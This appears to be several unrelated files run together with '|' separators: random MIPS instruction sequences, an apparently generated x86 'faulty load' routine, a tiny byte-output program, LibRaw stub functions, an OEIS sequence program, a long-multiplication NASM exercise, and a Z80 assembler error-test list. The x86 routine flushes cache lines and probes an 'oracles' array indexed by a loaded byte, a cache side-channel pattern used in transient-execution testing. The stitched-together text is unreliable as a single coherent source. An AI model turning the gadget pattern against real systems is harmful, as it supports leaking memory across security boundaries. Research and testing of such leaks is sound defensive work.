mult $3,$3
divu $0,$ra
mult $4,$2
addiu $0,$2,27310
divu $5,$ra
addiu $6,$1,23247
srav $4,$4,$4
lui $6,28678
lui $0,42526
mflo $1
ori $0,$6,11559
addu $5,$2,$0
addu $1,$1,$5
srav $2,$4,$2
divu $0,$ra
lb $1,16($0)
mthi $4
mthi $4
lb $5,8($0)
mult $5,$1
lb $5,5($0)
mult $4,$4
addu $2,$2,$0
mtlo $0
multu $0,$2
mflo $6
sb $4,2($0)
addu $2,$2,$3
mflo $1
multu $5,$5
sb $5,7($0)
mflo $5
srav $5,$1,$5
sb $2,1($0)
sb $1,16($0)
lui $0,29187
multu $0,$0
addu $4,$4,$4
lui $2,65288
divu $4,$ra
lui $0,48282
lb $4,2($0)
srav $0,$1,$4
mtlo $0
mtlo $5
srav $5,$1,$5
sb $6,16($0)
sll $1,$1,7
mflo $1
sll $4,$2,1
mfhi $5
addiu $5,$5,20443
mflo $6
multu $3,$3
lb $4,2($0)
ori $4,$4,31743
sll $5,$2,12
addiu $5,$5,-28339
mult $3,$1
lui $1,43687
mult $1,$3
addu $4,$0,$2
sb $5,8($0)
divu $1,$ra
addiu $2,$1,-17421
lui $4,24266
divu $1,$ra
divu $4,$ra
addiu $2,$2,-9240
addiu $1,$6,7214
multu $1,$4
srav $6,$4,$4
sb $4,9($0)
addu $1,$2,$6
lb $4,15($0)
divu $3,$ra
sll $4,$4,4
mflo $2
mtlo $5
addu $1,$1,$5
ori $6,$6,60559
srav $6,$6,$3
srav $2,$4,$2
addiu $1,$0,24099
mfhi $2
sll $3,$3,25
mflo $3
div $3,$ra
sb $4,14($0)
addu $2,$2,$2
ori $2,$2,60600
mfhi $5
lui $1,23339
sb $2,7($0)
lui $3,13193
mult $1,$2
sll $4,$4,10
srav $2,$2,$2
srav $4,$1,$2
sll $5,$2,19
addiu $6,$2,-10908
divu $4,$ra
addiu $2,$5,3914
div $1,$ra
addiu $3,$3,-14913
addiu $6,$1,27617
mtlo $0
addu $5,$1,$5
mthi $6
sb $3,1($0)
addu $2,$2,$2
mult $5,$4
ori $0,$0,20944
mflo $2
mult $1,$1
addu $4,$4,$4
multu $3,$3
lui $4,45215
addiu $2,$2,17144
lb $2,1($0)
addu $3,$3,$3
addu $4,$6,$6
addiu $5,$2,-13161
srav $3,$1,$3
div $0,$ra
lui $2,44680
lui $5,1152
addiu $6,$1,28894
mult $4,$5
lb $5,7($0)
srav $4,$6,$4
lui $4,16376
mult $2,$2
mflo $0
lb $5,12($0)
mfhi $3
divu $5,$ra
srav $3,$0,$3
mthi $0
lui $2,9728
srav $1,$5,$1
mult $5,$5
mfhi $4
addu $5,$5,$1
mtlo $3
mfhi $5
div $4,$ra
divu $3,$ra
sb $4,6($0)
multu $0,$0
mthi $1
lui $4,17833
sll $1,$1,5
addu $6,$1,$1
divu $1,$ra
ori $3,$2,63159
addiu $1,$2,14773
sb $6,13($0)
addu $1,$1,$1
div $1,$ra
mflo $6
addu $2,$5,$2
mfhi $2
div $4,$ra
sb $2,14($0)
mthi $1
multu $4,$4
ori $4,$1,11508
mult $5,$4
mtlo $5
lui $6,23820
mfhi $1
ori $4,$2,62481
multu $4,$2
addu $4,$2,$2
mfhi $5
addiu $2,$4,-1148
srav $1,$2,$0
sll $2,$4,14
divu $4,$ra
mfhi $5
addiu $4,$5,2629
ori $5,$5,10538
sll $5,$4,2
mthi $0
mtlo $1
multu $2,$2
mult $6,$4
div $0,$ra
sll $4,$5,22
lb $3,1($0)
lb $0,5($0)
sb $4,11($0)
div $1,$ra
mtlo $4
div $6,$ra
addiu $1,$2,31899
div $5,$ra
addu $1,$1,$3
mthi $1
mthi $3
div $5,$ra
addu $4,$4,$2
mfhi $2
mfhi $5
lui $1,14836
mthi $3
ori $2,$2,42631
multu $0,$0
multu $5,$2
ori $1,$4,3845
srav $2,$1,$2
mult $4,$3
addu $2,$5,$2
mthi $6
sll $4,$1,27
srav $6,$6,$6
addu $1,$2,$3
ori $2,$2,32194
sll $5,$4,30
multu $1,$4
lb $1,13($0)
mthi $0
mtlo $6
lui $4,45610
mtlo $4
mthi $4
addu $6,$2,$4
addu $4,$4,$4
mult $4,$4
mthi $4
sb $6,1($0)
lb $2,2($0)
srav $0,$0,$3
mult $4,$1
mfhi $2
srav $5,$6,$4
mfhi $5
mthi $5
mtlo $4
divu $4,$ra
ori $5,$6,58569
addiu $0,$4,4704
mflo $1
mflo $4
mtlo $2
mtlo $4
mfhi $4
mtlo $6
addiu $1,$2,-24194
lui $6,35516
addu $1,$2,$2
mtlo $4
mult $3,$3
mult $5,$0
mflo $3
mult $4,$4
srav $3,$0,$3
addiu $4,$4,26318
lb $1,1($0)
div $5,$ra
addiu $4,$4,14308
addiu $6,$6,30418
lui $0,13844
addu $1,$4,$5
addiu $6,$6,1914
multu $4,$4
divu $6,$ra
lb $4,7($0)
mflo $4
lb $4,9($0)
sb $3,4($0)
multu $3,$0
divu $5,$ra
divu $2,$ra
sb $5,11($0)
addu $5,$2,$2
multu $4,$3
sb $1,10($0)
mfhi $4
divu $5,$ra
addiu $1,$2,-2588
ori $1,$1,31920
addu $5,$4,$5
ori $6,$2,235
div $5,$ra
mfhi $0
lui $2,25388
ori $5,$0,12327
multu $2,$4
div $1,$ra
sll $5,$6,0
ori $4,$4,3630
div $0,$ra
addu $3,$0,$3
divu $6,$ra
mflo $1
sb $4,6($0)
srav $4,$2,$2
multu $4,$4
div $6,$ra
mflo $2
sb $1,9($0)
addu $4,$4,$1
mfhi $5
ori $4,$4,96
ori $5,$1,4625
addu $4,$1,$4
addu $4,$1,$6
divu $0,$ra
divu $3,$ra
divu $1,$ra
ori $4,$0,60583
addu $5,$5,$5
mult $1,$0
lb $5,8($0)
lb $4,14($0)
mfhi $4
mfhi $5
lb $5,14($0)
div $4,$ra
div $1,$ra
lui $4,21493
mult $6,$6
mult $1,$2
sb $4,9($0)
divu $5,$ra
div $5,$ra
lui $5,56305
div $5,$ra
ori $5,$4,39405
div $5,$ra
mthi $5
mtlo $0
ori $5,$2,46740
addu $6,$6,$6
addu $0,$6,$4
div $5,$ra
addu $5,$5,$6
multu $4,$2
mthi $4
divu $2,$ra
lb $5,4($0)
mthi $4
sb $0,1($0)
divu $0,$ra
lui $3,38311
srav $4,$2,$4
mult $4,$4
mfhi $4
mult $1,$4
ori $5,$1,51302
srav $5,$5,$2
lui $5,59747
lui $4,35064
multu $0,$4
div $5,$ra
mthi $2
multu $5,$5
sb $1,4($0)
sll $4,$4,30
mfhi $2
mthi $2
srav $3,$5,$3
lb $5,8($0)
mult $4,$4
sb $5,7($0)
mflo $3
lui $2,34334
mthi $1
sll $4,$2,11
lui $1,35379
sb $0,6($0)
lui $5,37649
addiu $4,$2,-24664
addu $1,$6,$2
lui $4,50360
multu $5,$5
mflo $1
mult $4,$4
mfhi $1
div $1,$ra
lui $4,7437
ori $3,$3,26173
divu $2,$ra
addu $3,$4,$3
multu $0,$2
multu $0,$4
mthi $6
lui $2,42930
multu $5,$2
srav $1,$2,$2
ori $0,$5,9149
mfhi $4
addu $1,$1,$1
ori $6,$2,36808
ori $6,$6,29802
lb $5,7($0)
mflo $6
srav $4,$2,$2
addiu $5,$5,23985
sb $5,9($0)
div $2,$ra
ori $1,$1,1167
multu $0,$4
lb $4,0($0)
mthi $6
mtlo $1
sb $4,4($0)
mfhi $4
multu $4,$0
mult $1,$5
ori $4,$5,2111
lb $6,12($0)
addiu $2,$2,-18715
mtlo $4
mflo $0
mfhi $3
srav $4,$4,$2
sb $5,11($0)
mult $1,$1
lui $6,17510
sll $4,$3,20
mult $1,$3
addiu $6,$5,-9688
mfhi $1
addu $5,$4,$4
mult $3,$3
addiu $4,$6,32455
addiu $2,$2,-19321
sb $5,13($0)
divu $0,$ra
lb $5,14($0)
div $0,$ra
addu $6,$4,$4
multu $4,$5
mflo $1
lb $4,11($0)
srav $5,$0,$6
sb $1,10($0)
divu $5,$ra
mfhi $2
mflo $2
lui $1,54336
divu $5,$ra
lui $1,14447
sll $5,$5,2
sb $4,2($0)
addiu $4,$0,13802
sll $0,$5,11
sb $5,7($0)
addu $0,$1,$4
addu $3,$3,$3
mtlo $4
mflo $1
mult $5,$5
sll $4,$4,6
multu $4,$4
addiu $0,$2,3200
addu $4,$4,$4
lb $3,11($0)
ori $5,$5,60695
addiu $0,$1,12961
mthi $4
lb $4,14($0)
mult $4,$1
ori $3,$2,55616
lb $6,1($0)
div $6,$ra
divu $0,$ra
addu $3,$4,$3
ori $6,$6,2545
srav $4,$1,$4
mfhi $1
sb $0,9($0)
srav $1,$2,$2
addiu $5,$1,11671
divu $4,$ra
mflo $2
mthi $4
mthi $6
lb $4,0($0)
mthi $1
ori $4,$5,34297
srav $3,$0,$3
srav $1,$5,$3
mflo $1
div $1,$ra
sb $2,14($0)
divu $5,$ra
mtlo $1
ori $3,$4,35565
divu $4,$ra
lui $4,45752
lb $6,9($0)
multu $5,$6
div $2,$ra
mult $0,$2
mflo $4
addu $4,$0,$6
lui $4,41768
mfhi $5
mult $1,$5
div $5,$ra
multu $5,$5
sb $4,10($0)
addiu $5,$0,-24888
mflo $5
lui $4,21987
div $4,$ra
mtlo $0
addiu $5,$1,-12021
lui $0,9379
ori $1,$4,9785
mult $2,$4
mthi $4
srav $2,$2,$3
addiu $5,$1,21584
lb $1,3($0)
multu $4,$3
lb $2,0($0)
lb $5,12($0)
lb $1,11($0)
mfhi $4
mflo $6
mtlo $4
multu $4,$3
sb $5,15($0)
multu $5,$0
srav $1,$4,$2
ori $4,$0,57047
divu $0,$ra
sll $1,$1,21
mult $4,$5
div $4,$ra
sb $6,2($0)
mtlo $4
sb $1,13($0)
srav $1,$5,$4
mflo $2
mflo $0
lui $4,33778
divu $5,$ra
mthi $4
lb $0,8($0)
mtlo $4
mfhi $2
divu $0,$ra
sb $2,2($0)
div $1,$ra
mfhi $4
sb $4,0($0)
div $1,$ra
addu $3,$4,$3
addu $3,$3,$3
mtlo $6
lui $5,47703
mflo $5
lui $1,21281
mthi $1
mtlo $5
divu $2,$ra
mflo $4
ori $1,$1,56692
addiu $4,$4,14378
mtlo $1
mfhi $1
mthi $2
mthi $3
sb $5,14($0)
div $1,$ra
ori $1,$4,34227
mult $6,$5
mthi $0
mthi $2
addu $1,$4,$1
ori $4,$1,61595
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x1a4fa, %rsi
lea addresses_WC_ht+0x86fa, %rdi
nop
nop
nop
xor $1006, %r15
mov $49, %rcx
rep movsw
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_A_ht+0x195fa, %rsi
lea addresses_WC_ht+0xaf26, %rdi
nop
add $8119, %r13
mov $73, %rcx
rep movsl
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x1a586, %rsi
lea addresses_D_ht+0x3742, %rdi
nop
nop
nop
nop
nop
add %rbx, %rbx
mov $17, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $6545, %rcx
lea addresses_WT_ht+0x1b8fa, %rsi
lea addresses_D_ht+0x124fa, %rdi
nop
and %r13, %r13
mov $55, %rcx
rep movsw
nop
nop
xor $15355, %r15
lea addresses_WT_ht+0x10a30, %rsi
nop
nop
cmp $60416, %rdx
and $0xffffffffffffffc0, %rsi
movntdqa (%rsi), %xmm1
vpextrq $0, %xmm1, %rbx
nop
nop
nop
add $18663, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_A+0xeefa, %rdi
clflush (%rdi)
nop
nop
and %rsi, %rsi
movb $0x51, (%rdi)
nop
and $38536, %r10
// Store
lea addresses_WT+0x12d4a, %rdi
nop
nop
nop
nop
nop
sub %r14, %r14
movl $0x51525354, (%rdi)
nop
nop
nop
and $43522, %r8
// REPMOV
lea addresses_A+0x13752, %rsi
lea addresses_WT+0x104fa, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
xor $44925, %r15
mov $24, %rcx
rep movsl
nop
nop
nop
xor $48894, %rcx
// Store
lea addresses_UC+0x1d6d7, %rdx
nop
nop
nop
nop
nop
add $2416, %r15
movb $0x51, (%rdx)
nop
xor %rsi, %rsi
// Store
lea addresses_WT+0xfa, %rdx
nop
nop
nop
nop
nop
and $11640, %r8
movb $0x51, (%rdx)
nop
nop
nop
nop
nop
cmp $42651, %r15
// REPMOV
mov $0xfa, %rsi
lea addresses_PSE+0x6f54, %rdi
nop
sub $59835, %r10
mov $1, %rcx
rep movsb
nop
add %rdx, %rdx
// Store
lea addresses_RW+0x10fa, %r8
nop
sub $10102, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, (%r8)
nop
nop
nop
add %r8, %r8
// Faulty Load
lea addresses_WT+0x104fa, %r15
nop
nop
nop
nop
inc %r14
mov (%r15), %rcx
lea oracles, %r15
and $0xff, %rcx
shlq $12, %rcx
mov (%r15,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_A', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WT'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_A'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC', 'congruent': 0}, 'OP': 'STOR'}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT', 'congruent': 10}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_PSE'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_P'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 10}, 'OP': 'STOR'}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}}
{'dst': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'35': 21829}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35
*/
|
section .data
buffer: times 256 db 0 ; buffer of memory
section .text
global _start
_start:
mov rbx, 0 ; mem pointer
mov rsi, buffer
add rsi, rbx
add byte [rsi], 0x41; Add 0x41 to buffer[mem pointer]
call write_byte
add bl, 1 ; increment mem pointer mod 256
mov rsi, buffer
add rsi, rbx
add byte [rsi], 0x43; Add 0x43 to buffer[mem pointer]
call write_byte
; call read_byte
; call write_byte
mov rax, 60 ; id syscall sys_exit
mov rdi, 0 ; arg 1 de sys_exit (exit code)
syscall
read_byte:
mov rax, 0 ; sys_read
mov rdi, 0 ; fd STDIN
mov rsi, buffer
add rsi, rbx ; buffer + pointeur
mov rdx, 1 ; len
syscall
ret
write_byte:
mov rax, 1 ; sys_write
mov rdi, 1 ; fd STDOUT
mov rsi, buffer
add rsi, rbx ; buffer + pointeur
mov rdx, 1 ; len
syscall
ret
|
/* -*- C++ -*-
* Copyright 2019-2021 LibRaw LLC (info@libraw.org)
*
Placehoder functions to build LibRaw w/o postprocessing
and preprocessing calls
LibRaw is free software; you can redistribute it and/or modify
it under the terms of the one of two licenses as you choose:
1. GNU LESSER GENERAL PUBLIC LICENSE version 2.1
(See file LICENSE.LGPL provided in LibRaw distribution archive for details).
2. COMMON DEVELOPMENT AND DISTRIBUTION LICENSE (CDDL) Version 1.0
(See file LICENSE.CDDL provided in LibRaw distribution archive for details).
*/
#include "../../internal/libraw_cxx_defs.h"
void LibRaw::copy_fuji_uncropped(unsigned short cblack[4],
unsigned short *dmaxp) {}
void LibRaw::copy_bayer(unsigned short cblack[4], unsigned short *dmaxp){}
void LibRaw::raw2image_start(){}
|
; A080236: Triangle of differences of consecutive pairs of row elements of triangle A080233.
; Submitted by Christian Krause
; 1,1,-1,1,0,-2,1,1,-2,-2,1,2,-1,-4,-1,1,3,1,-5,-5,1,1,4,4,-4,-10,-4,4,1,5,8,0,-14,-14,0,8,1,6,13,8,-14,-28,-14,8,13,1,7,19,21,-6,-42,-42,-6,21,19,1,8,26,40,15,-48,-84,-48,15,40,26
lpb $0
add $2,1
sub $0,$2
mov $1,$2
add $1,2
lpe
bin $1,$0
sub $0,1
bin $2,$0
mul $2,4
sub $1,$2
mov $0,$1
|
%include "print.asm"
%include "exit.asm"
%include "longop.asm"
%include "module.asm"
section .data
nameAutor db "Developer: Savchenko Yuriy", 0xa, 0xd ; name of Author
lenName equ $-nameAutor ; length of name Author
border db "--------------------------------", 0xa, 0xd ; little border for correct view
lenBorder equ $ - border ; lenght of border
clear db 0xa, 0xd ; step on new line
fact_m dd 2 ; value for landslide
fact_counter dd 63 ; counter of repets
fact_v dd 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 ; value for save result of operation factorial()
mul_test10 dd 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh ; first operand for multiplication
mul_test10x32 dd 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0FFFFFFFFh, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ; second operand for multiplication
result dd 0FFFFFFFFh, 0, 0, 0, 0, 0, 0, 0, 0, 0
mul_test110 dd 0, 0, 0, 0, 0, 0, 0, 0, 0, 0C0000000h ; third value as second operand for multiplication
section .bss
fact_x_fact resd 20 ; value for save first result of multiplication
mul_result resd 20 ; value for save second result of multiplication
mul_result_nn resd 20
mul_result_z resd 20 ; value for save third result of multiplication
textBuff resd 64 ; text string for save different values which will have been vieved
section .text
global _start
_start:
print border, lenBorder ; print on screen border
print nameAutor, lenName ; print on screen name Author
print border, lenBorder ; print on screen border
xor eax, eax ; set null value for EAX
xor ebx, ebx ; set null value for EBX
; loop for multiplication and calculating factorial
.cycle_fact:
push fact_v ; write first operand to STACK
push fact_m ; write second operand to STACK
push 10 ; write to STACK count of 32-bits digits in digit
call Mul_Nx32_LONGOP ; call function for multiplication
inc dword [fact_m] ; increment value fact_m
dec dword [fact_counter] ; decrement value fact_counter
; calculating of n!
jnz .cycle_fact ; repeat of loop
push textBuff ; write to STACK text string for result
push fact_v ; write to STACK value which has result
push 320 ; write to STACK count of bits in result number
call StrHex_MY ; call function for transformation number to string
print textBuff, 320 ; print on screen string which has result of multiplication
print clear, 2 ; print step in new line
print border, lenBorder ; print on screen border
xor eax, eax ; set null value for EAX
xor ebx, ebx ; set null value for EBX
; calculating NxN A=B=n!
push fact_x_fact ; write to STACK variable for save result
push fact_v ; write to STACK address of first operand
push fact_v ; write to STACK address of second operand
push 10 ; write to STACK count of 32-bits digits in digit
call Mul_NxN_LONGOP ; call function for multiplication
push textBuff ; write to STACK text string for result
push fact_x_fact ; write to STACK value which has result
push 640 ; write to STACK count of bits in result number
call StrHex_MY ; call function for transformation number to string
print textBuff, 640 ; write to STACK variable for save result
print clear, 2 ; print step in new line
print border, lenBorder ; print on screen border
xor eax, eax ; set null value for EAX
xor ebx, ebx ; set null value for EBX
; calculating NxN A=B=111...11
push mul_result ; write to STACK variable for save result
push mul_test10 ; write to STACK address of first operand
push mul_test10 ; write to STACK address of second operand
push 10 ; write to STACK count of 32-bits digits in digit
call Mul_NxN_LONGOP ; call function for multiplication
push textBuff ; write to STACK text string for result
push mul_result ; write to STACK value which has result
push 640 ; write to STACK count of bits in result number
call StrHex_MY ; call function for transformation number to string
print textBuff, 640 ; write to STACK variable for save result
print clear, 2 ; print step in new line
print border, lenBorder ; print on screen border
xor eax, eax ; set null value for EAX
xor ebx, ebx ; set null value for EBX
; calculating Nx32 A=111...11 B=FFFFFFFF
push mul_result_nn
push mul_test10x32 ; write to STACK variable for save result
push result ; write to STACK address of first operand
push 10 ; write to STACK count of 32-bits digits in digit
call Mul_NxN_LONGOP ; call function for multiplication
push textBuff ; write to STACK text string for result
push mul_result_nn ; write to STACK value which has result
push 640 ; write to STACK count of bits in result number
call StrHex_MY ; call function for transformation number to string
print textBuff, 640 ; write to STACK variable for save result
print clear, 2 ; print step in new line
print border, lenBorder ; print on screen border
xor eax, eax ; set null value for EAX
xor ebx, ebx ; set null value for EBX
; calculating NxN A=111...11 B=110...00
push mul_result_z ; write to STACK variable for save result
push mul_test10 ; write to STACK address of first operand
push mul_test110 ; write to STACK address of second operand
push 10 ; write to STACK count of 32-bits digits in digit
call Mul_NxN_LONGOP ; call function for multiplication
push textBuff ; write to STACK text string for result
push mul_result_z ; write to STACK value which has result
push 640 ; write to STACK count of bits in result number
call StrHex_MY ; call function for transformation number to string
print textBuff, 640 ; write to STACK variable for save result
print clear, 2 ; print step in new line
print border, lenBorder ; print on screen border
call exit ; call function for correct exit of program
|
adc (ix) ; Error
adc (ix+127) ; Error
adc (ix-128) ; Error
adc (iy) ; Error
adc (iy+127) ; Error
adc (iy-128) ; Error
adc a', (hl) ; Error
adc a', (ix) ; Error
adc a', (ix+127) ; Error
adc a', (ix-128) ; Error
adc a', (iy) ; Error
adc a', (iy+127) ; Error
adc a', (iy-128) ; Error
adc a', -128 ; Error
adc a', 127 ; Error
adc a', 255 ; Error
adc a', a ; Error
adc a', b ; Error
adc a', c ; Error
adc a', d ; Error
adc a', e ; Error
adc a', h ; Error
adc a', l ; Error
adc a, (ix) ; Error
adc a, (ix+127) ; Error
adc a, (ix-128) ; Error
adc a, (iy) ; Error
adc a, (iy+127) ; Error
adc a, (iy-128) ; Error
adc a, ixh ; Error
adc a, ixl ; Error
adc a, iyh ; Error
adc a, iyl ; Error
adc hl', bc ; Error
adc hl', de ; Error
adc hl', hl ; Error
adc hl', sp ; Error
adc ixh ; Error
adc ixl ; Error
adc iyh ; Error
adc iyl ; Error
add (ix) ; Error
add (ix+127) ; Error
add (ix-128) ; Error
add (iy) ; Error
add (iy+127) ; Error
add (iy-128) ; Error
add a', (hl) ; Error
add a', (ix) ; Error
add a', (ix+127) ; Error
add a', (ix-128) ; Error
add a', (iy) ; Error
add a', (iy+127) ; Error
add a', (iy-128) ; Error
add a', -128 ; Error
add a', 127 ; Error
add a', 255 ; Error
add a', a ; Error
add a', b ; Error
add a', c ; Error
add a', d ; Error
add a', e ; Error
add a', h ; Error
add a', l ; Error
add a, (ix) ; Error
add a, (ix+127) ; Error
add a, (ix-128) ; Error
add a, (iy) ; Error
add a, (iy+127) ; Error
add a, (iy-128) ; Error
add a, ixh ; Error
add a, ixl ; Error
add a, iyh ; Error
add a, iyl ; Error
add hl', bc ; Error
add hl', de ; Error
add hl', hl ; Error
add hl', sp ; Error
add ix, bc ; Error
add ix, de ; Error
add ix, ix ; Error
add ix, sp ; Error
add ixh ; Error
add ixl ; Error
add iy, bc ; Error
add iy, de ; Error
add iy, iy ; Error
add iy, sp ; Error
add iyh ; Error
add iyl ; Error
adi hl, -128 ; Error
adi hl, 127 ; Error
adi hl, 255 ; Error
adi sp, -128 ; Error
adi sp, 127 ; Error
adi sp, 255 ; Error
altd adc (hl) ; Error
altd adc (ix) ; Error
altd adc (ix+127) ; Error
altd adc (ix-128) ; Error
altd adc (iy) ; Error
altd adc (iy+127) ; Error
altd adc (iy-128) ; Error
altd adc -128 ; Error
altd adc 127 ; Error
altd adc 255 ; Error
altd adc a ; Error
altd adc a, (hl) ; Error
altd adc a, (ix) ; Error
altd adc a, (ix+127) ; Error
altd adc a, (ix-128) ; Error
altd adc a, (iy) ; Error
altd adc a, (iy+127) ; Error
altd adc a, (iy-128) ; Error
altd adc a, -128 ; Error
altd adc a, 127 ; Error
altd adc a, 255 ; Error
altd adc a, a ; Error
altd adc a, b ; Error
altd adc a, c ; Error
altd adc a, d ; Error
altd adc a, e ; Error
altd adc a, h ; Error
altd adc a, l ; Error
altd adc b ; Error
altd adc c ; Error
altd adc d ; Error
altd adc e ; Error
altd adc h ; Error
altd adc hl, bc ; Error
altd adc hl, de ; Error
altd adc hl, hl ; Error
altd adc hl, sp ; Error
altd adc l ; Error
altd adc m ; Error
altd add (hl) ; Error
altd add (ix) ; Error
altd add (ix+127) ; Error
altd add (ix-128) ; Error
altd add (iy) ; Error
altd add (iy+127) ; Error
altd add (iy-128) ; Error
altd add -128 ; Error
altd add 127 ; Error
altd add 255 ; Error
